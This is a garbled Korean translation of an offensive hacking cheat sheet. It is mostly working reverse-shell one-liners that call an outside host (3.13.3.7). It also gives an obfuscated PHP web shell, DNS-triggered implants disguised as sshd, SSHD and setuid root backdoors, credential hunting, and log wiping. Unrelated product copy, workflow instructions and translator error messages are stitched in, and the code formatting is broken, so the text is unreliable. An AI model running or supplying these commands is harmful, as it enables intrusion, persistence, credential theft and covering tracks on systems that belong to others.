fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

5.i.c. cURL을 사용한 리버스 셸 (암호화)

curlshell을 사용하세요. 이는 프록시를 통해서도 작동하며, 외부 세계로의 직접 TCP 연결이 금지된 경우에도 작동합니다:```sh

On YOUR workstation

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080

root@kitploit:~
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

5.i.d cURL을 사용한 리버스 셸 (평문)

여러 연결을 수신하도록 ncat을 시작합니다:```sh ncat -kltv 1524

root@kitploit:~
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

5.i.e. OpenSSL을 사용한 역방향 셸 (암호화)```sh

On YOUR workstation:

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

openssl s_server -port 1524 -cert cert.pem -key key.pem

Or pwncat:

pwncat -lp 1524 --ssl

root@kitploit:~
<figure>static/1-threatninja/customer_profiling.png</figure>

**로그 / 모든 활동** 

실시간 모니터링과 상세 활동 추적을 통해 정보를 확인하세요. 
Threatninja는 플랫폼에서 수행된 모든 작업에 대한 완전하고 투명한 로그를 유지하여 완벽한 책임성과 추적성을 보장합니다.

<figure>static/1-threatninja/logs.png</figure>

**대시보드 / 보고서 - 곧 출시 예정**
케이스 관리 생성, 조사 데이터를 발견 항목과 연결하는 기능, 그리고 적절한 정보를 포함한 맞춤형 보고서 생성 옵션을 권장할 예정입니다.```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

5.i.f. /dev/tcp 없이 리버스 셸

임베디드 시스템에는 항상 Bash가 있는 것은 아니며 /dev/tcp/ 트릭은 작동하지 않습니다. 다른 많은 방법이 있습니다 (Python, PHP, Perl, ..). 우리가 선호하는 방법은 netcat을 업로드하고 netcat 또는 telnet을 사용하는 것입니다:

원격 시스템에서:```sh nc -e /bin/sh -vn 3.13.3.7 1524

root@kitploit:~
*'-e'*가 지원되지 않는 경우의 변형:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
  • 최신 셸에서는 이렇게 줄여 쓸 수 있습니다: { nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|:. (IA_PD 님 감사합니다).
  • | : 트릭은 C-Shell/tcsh(FreeBSD), 원래 Bourne 셸(Solaris) 또는 Korn 셸(AIX)에서는 작동하지 않습니다. 대신 mkfifo를 사용하세요.

이전 /bin/sh용 변형:```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io

root@kitploit:~
Telnet 변형:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

mkfifo가 지원되지 않을 때의 Telnet 변형(윽!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio

root@kitploit:~
Note: 로그인 후 `rm /tmp/.fio`를 잊지 마세요.



<a id="revese-shell-remote-moe"></a>
**5.i.h. remote.moe 및 ssh를 통한 리버스 셸 (암호화)**

원시 TCP(예: bash 리버스 셸)를 [remote.moe](https://remote.moe)를 통해 터널링하는 것이 가능합니다:

워크스테이션에서:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

대상에서(SSH 및 Bash 필요):```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'

root@kitploit:~
대상에서 (대안; ssh, bash 및 mkfifo 필요):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

5.i.i. Python을 이용한 리버스 셸```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

root@kitploit:~
<a id="reverse-shell-perl"></a>
**5.i.j. Perl을 이용한 리버스 셸**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

5.i.k. PHP를 사용한 리버스 셸```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'

root@kitploit:~
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. 리버스 셸을 PTY 셸로 업그레이드하기**

위의 리버스 셸은 모두 제한적입니다. 예를 들어 *sudo bash*나 *top*은 작동하지 않습니다. 이들을 작동시키려면 셸을 실제 PTY 셸로 업그레이드해야 합니다:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

I apologize, but I don't see any actual content to translate. The message ends with "INPUT:" and there is no source text following it. Please provide the chunk content to translate.```sh

Using python

exec python -c 'import pty; pty.spawn("/bin/bash")'

root@kitploit:~
<a id="reverse-shell-interactive"></a>
**5.ii.b. 리버스 셸을 완전한 대화형 셸로 업그레이드**

...그리고 Ctrl-C 등을 사용하고 싶다면 리버스 셸을 완전한 컬러 대화형 셸로 끝까지 업그레이드해야 합니다:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

(입력된 마크다운 콘텐츠가 없습니다.)```

On your terminal execute:

stty raw -echo icrnl opost; fg

root@kitploit:~
I received no input text to translate. Please provide the actual chunk content.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

5.ii.c. socat을 사용한 리버스 셸 (완전 대화형)

...또는 socat을 설치하고 별다른 복잡한 과정 없이 처리할 수 있습니다:```sh

on attacker's host (listener)

socat file:tty,raw,echo=0 tcp-listen:1524

on target host (reverse shell)

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524

root@kitploit:~
---
<a id="backdoor"></a>
## 6. 백도어

간단한 1줄 리버스 셸은 [리버스 셸 / 덤 셸](#reverse-shell)을 참조하세요.

<a id="gsnc"></a>
**6.i. gs-netcat을 사용한 리버스 셸**

대부분 gs-netcat의 자동 배포 스크립트를 사용합니다: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

또는```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"

root@kitploit:~
또는 자체 배포 서버를 실행하여 gsocket을 배포하십시오:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

6.ii. sshx.io를 사용한 리버스 셸 (암호화)

웹 브라우저에서 원격 셸에 액세스하세요 https://sshx.io.

sshx-backdoor를 메모리로 직접 파이프하세요:```shell echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)

root@kitploit:~
또는 별로 좋지 않은 방법:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

6.iii. 가장 작은 SSHD 백도어

  • apt update 후에도 유지됩니다
  • 새 파일을 생성하지 않습니다.
  • authorized_keys 또는 PAM을 사용하지 않습니다.

authorized_keys에 키를 추가하는 건 이제 너무 흔해요 😩. 대신, root로 이 명령을 어떤 대상에서든 한 번만 복사해서 붙여넣으세요. SSHD의 구성에 한 줄을 추가하고 영원히 로그인할 수 있게 해줍니다:```shell backdoor_sshd() { local B="/etc/ssh" local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d" local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf) [ ! -f "$K" ] && K="${B}/ssh_host_rsa_key" [ -n "$N" ] && N="${N%%.conf}.conf" N="${D}/${N:-50-cloud-init.conf}" [ ! -d "${D}" ] && N="${B}/sshd_config" { [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config" echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m" grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; } echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D" command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart } backdoor_sshd

root@kitploit:~
작동 방식:
- SSHD 호스트 키는 평범한 ed25519 키일 뿐입니다.
- 모든 ed25519 키는 사용자 인증에 사용할 수 있습니다.
- SSHD는 `~/.ssh/authorized_keys`를 확인합니다 (하지만 이 방법은 남용되었습니다).
- 대신 SSHD가 로그인 인증 키도 `/etc/ssh/sshd_host_ed25519_key.pub`에서 확인하도록 구성합니다.
- 이제 SSHD는 유효한 로그인 키로 `~/.ssh/authorized_keys` _및_ `/etc/ssh/ssh_host_ed25519_key.pub`를 확인합니다.
- `/etc/ssh/sshd_host_ed25519_key` 비밀 키를 사용하여 대상에 로그인합니다.

<a id="backdoor-network"></a>
**6.vi. 전체 네트워크에 대한 원격 액세스**

[gs-netcat](https://github.com/hackerschoice/gsocket)을 설치하세요. 이 도구는 호스트의 사설 LAN에 SOCKS 출구 노드를 생성하며, 자체 릴레이 서버를 실행할 필요 없이 Global Socket Relay Network를 통해 접근할 수 있습니다 (예: 워크스테이션에서 원격 사설 LAN에 직접 접근):```sh
gs-netcat -l -S       # compromised Host

이제 워크스테이션에서 호스트의 사설 LAN에 있는 어떤 호스트에든 연결할 수 있습니다:```sh gs-netcat -p 1080 # Your workstation.

Access route.local:22 on the Host's private LAN from your Workstation:

socat - "SOCKS4a:127.1:route.local:22"

root@kitploit:~
[Socks 프록시를 통한 모든 도구 사용](#scan-proxy)을 읽으세요.

다른 방법들:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - 우리만의 기사
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - segfault.net에서 모든 (내부) 네트워크로.

<a id="php-backdoor"></a>
**6.v. 가장 작은 PHP 백도어**

모든 PHP 파일의 시작 부분에 다음 줄을 추가하세요:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

이것은 base64 인코딩입니다:```php if(isset($_POST[0])){system($_POST[0]);die;}

root@kitploit:~
백도어를 테스트하십시오:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

때때로 system()은 금지되어 있습니다. 백업으로 원격 PHP 코드 실행을 허용하려면 eval()을 추가하세요. 약간의 난독화를 위해 다른 base64 주석 안에 숨기세요:```php

root@kitploit:~
다음 중 하나를 사용하여 명령 또는 PHP 코드를 실행하세요:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

6.vi. 가장 작은 역방향 DNS 터널 백도어

...PHP에서:

공개 인터넷에서 접근할 수 없는 서버에서 역방향 DNS 트리거를 사용하여 임의의 명령을 실행합니다.

모든 PHP 파일의 시작 부분에 다음 줄(임플란트)을 추가하세요:```php

root@kitploit:~
임플란트는 도메인 `b00m.team-teso.net`에 DNS TXT 요청을 통해 페이로드를 요청합니다. 트리거되면 `/tmp/.b00m`을 생성하고(app.interactsh.com 콜백을 통해) THC에 알립니다. *반드시* 자체 도메인을 사용하고 자체 페이로드도 생성하십시오. 예시:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
  • DNS TXT 페이로드는 2,048자(때로는 65,535자)로 제한됩니다.
  • 임플란트는 bootloader입니다. while 루프를 사용하여 DNS를 통해 더 큰 페이로드를 다운로드하고 실행하세요.
  • 우리가 선호하는, 익명으로 도메인을 등록할 수 있는 사이트를 확인해 보세요. Cloudflare의 Free-Tier가 좋은 시작점입니다.

...BASH에서:

이 임플란트를 대상의 ~/.bashrc 또는 crontab에 추가하세요 (demo-paypload):```shell

Use a "double bash" to redirect also errors from $()-subshell to /dev/null:

bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null

root@kitploit:~
또는 정교한 페이로드를 위해 데모 페이로드를 변경하십시오:
- 명령 실행을 위해 매시간 폴링하는 백그라운드 데몬을 시작합니다.
- bash, dig 및 base64만 필요로 합니다.
- `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`로 위장합니다.
- 예제에서는 `b00m2.team-teso.net`을 다시 사용하며 매시간 /tmp/.b00m을 생성합니다.

대상 셸에 다음을 잘라내어 붙여넣어 1줄 임플란트를 생성하십시오:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

스크립트의 1줄 결과를 대상의 시작 스크립트에 추가합니다(crontab, ~/.bashrc, udev 또는 ExecStartPre= 사용). 다음은 /usr/lib/systemd/system/ssh.service에 대한 영리한 예시입니다(약간의 추가 난독화 포함):``` ... [Service] EnvironmentFile=-/etc/default/ssh Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash" ExecStartPre=-bash -c 'eval $SSHD' ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ...

root@kitploit:~
...PERL로:
---
동일하지만 perl + bash만 필요로 하는 버전 (dig 불필요):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

(perl 버전을 제공한 LouCipher에게 감사드립니다)

...PYTHON으로:

다음을 셸에 복사하여 붙여넣으세요:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }

root@kitploit:~
페이로드를 생성하세요 (`egg.py`는 대상에서 실행됩니다):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

임플란트를 생성하세요(지침을 따르세요):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py

root@kitploit:~
<a id="ld-backdoor"></a>
**6.vii. 로컬 루트 백도어**

#### 1. setcap으로 동적 로더 백도어하기```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

입력된 마크다운 콘텐츠가 없습니다. 번역할 내용을 제공해 주세요.```bash

Execute as non-root user to get root

fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'

root@kitploit:~
#### 2. 좋은 옛 b00m 셸```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

입력이 없습니다.```shell exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'

root@kitploit:~
<a id="implant"></a>
**6.viii. 자체 추출 임플란트**

[mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh)을(를) 사용하여 자체 추출 셸 스크립트를 생성하세요 (예제는 소스를 참조하세요).

간단한 예:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

실제 사례가 가장 좋습니다:

  1. 성공 시 gsocket을 설치하고 우리의 웹훅을 호출하는 임플란트를 만듭니다:```sh ./mkegg.sh egg.sh deploy-all.sh '(GS_WEBHOOK_KEY=e90d4b38-8285-490d-b5ab-a6d5c7c990a7 deploy-all.sh 2>/dev/null >/dev/null &)'

On the target system do: 'cat egg.sh | bash' or './egg.sh'

root@kitploit:~
2. `egg.sh`를 `update-for-fools.txt`로 이름을 바꾸고 [Signal](https://www.signal.org/) GitHub 저장소에 blob으로 업로드하세요.

3. 이 명령어로 Signal을 업데이트하라고 사람들을 속이지 마세요 ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

7. 호스트 정찰


호스트에 대한 필수 정보를 얻으세요:```sh bash -c "$(curl -fsSL https://thc.org/ws)"

root@kitploit:~
또는```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

netstat, netstat/ss/lsof가 없는 경우:```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash

root@kitploit:~
시스템 속도 점검```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

모든 suid/sgid 바이너리 찾기:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null

root@kitploit:~
모든 쓰기 가능한 디렉토리 찾기:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

로컬 비밀번호 찾기 (noseyparker 또는 trufflehog 사용):```sh curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static chmod 700 np &&
./np scan . &&
./np report --color=always | less -R

root@kitploit:~
- [PassDetective](https://github.com/aydinnyunus/PassDetective)를 사용하여 ~/.*history에서 비밀번호를 찾으세요
- [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption)를 사용하여 실행 중인 프로세스에서 Chrome 비밀번호를 추출 및 복호화하세요 (Windows 전용)
- [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)를 사용하여 브라우저에서 비밀번호를 추출하세요

`grep` 사용:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

파일에서 하위 도메인 또는 이메일 찾기:```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }

find_subdomain .foobar.com | anew | resolv

find_subdomain @gmail.com | anew

root@kitploit:~
---
<a id="shell-hacks"></a>
## 8. 셸 해킹
<a id="shred"></a>
**8.i. Shred 및 파일 삭제**```sh
shred -z foobar.txt

Gitea Actions가 매일 저장소를 스캔하는 데 필요합니다. 워크플로우 파일은 일반적으로 .gitea/workflows/gitstars.yaml에 위치합니다. 워크플로우가 stars 및 GitGuardian을 읽는 데 필요한 시크릿을 읽을 수 있도록, 저장소 또는 계정의 시크릿에 추가하세요. 필요한 항목:

  • GITSTARS_GITHUB_TOKEN: read:org 및 read:user 권한을 가진 GitHub 토큰. 멤버십 및 스타 표시된 저장소를 읽는 데 사용됩니다.
  • GITSTARS_SECRET: incident:read 권한을 가진 GitGuardian API 토큰. 발견된 저장소에 활성 인시던트가 있는지 확인하는 데 사용됩니다.
  • GITGUARDIAN_BASE_URL: GitGuardian API의 기본 URL. 기본값은 https://api.gitguardian.com입니다 (SaaS의 경우 필요하지 않음).
  • GITSTARS_TIMEOUT: 스크립트가 페이지 간에 대기하는 시간입니다. 기본값 5초. 속도 제한에 도달하는 경우 증가시키세요.```sh

SHRED without shred command

shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt

root@kitploit:~
참고: 또는 파일을 */dev/shm* 디렉터리에 배포하여 하드디스크에 데이터가 기록되지 않도록 하십시오. 재부팅 시 데이터는 삭제됩니다.

참고: 또는 파일을 삭제한 다음 전체 하드디스크를 /dev/urandom으로 채우고 rm -rf the dump file을 실행하십시오.

<a id="restore-timestamp"></a>
**8.ii. 파일의 날짜 복원**

*/etc/passwd* 파일을 수정했지만 파일 날짜에는 이제 */etc/passwd*가 수정된 것으로 표시된다고 가정해 보십시오. *touch*를 사용하여 파일 날짜를 다른 파일(이 예에서는 */etc/shadow*)의 날짜로 변경하십시오.```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

hackshell과 ctime /etc/passwd를 사용하여 ctime과 birth-time도 조정하세요.

8.iii. 로그 파일 비우기

이렇게 하면 syslogd 등을 재시작하지 않고도 로그 파일을 0으로 재설정합니다:```sh

/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log

root@kitploit:~
이것은 로그 파일에서 IP `1.2.3.4`를 포함하는 모든 줄을 제거합니다:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

예시:```sh

xlog "1.2.3.4" /var/log/auth.log

xlog "${SSH_CLIENT%% *}" /var/log/auth.log

xlog "^2023.* thc.org" foo.log

root@kitploit:~
<a id="shell-hide-files"></a>
**8.iv. root 권한 없이 해당 사용자로부터 파일 숨기기**

우리가 선호하는 작업 디렉터리는 */dev/shm/* 입니다. 이 위치는 휘발성 메모리로 재부팅 시 사라집니다. 로그 없음 == 범죄 없음.

영구 파일 숨기기:

방법 1:```sh
alias ls='ls -I system-dev'

This will hide the directory system-dev from the ls command. Place in User's ~/.profile or system wide /etc/profile.

Method 2: Tricks from the 80s. Consider any directory that the admin rarely looks into (like /boot/.X11/.. or so):```sh mkdir '...' cd '...'

root@kitploit:~
방법 3:
Unix는 0x00을 제외한 거의 모든 ASCII 문자를 파일 이름에 허용합니다. 탭(*\t*)을 시도해 보세요. 대부분의 관리자는 그러한 디렉토리로 cd하는 방법을 모르는 경우가 많습니다.```sh
mkdir $'\t'
cd $'\t'

8.v. 파일을 변경 불가 상태로 만들기

이것은 /var/www/cgi/blah.cgi를 /boot/backdoor.cgi로 리디렉션합니다. blah.cgi 파일은 (마운트 해제하지 않는 한) 수정하거나 제거할 수 없습니다.```sh

/boot/backdoor.cgi contains our backdoor

touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi

root@kitploit:~
<a id="nosudo"></a>
**8.vi. sudo/su 없이 사용자 전환**

X11 세션의 스크린샷을 찍는 데 필요합니다 (예: `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` 또는 `import -display :0 -window root screenshot.png`)```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

8.vii. 난독화 및 페이로드 암호화

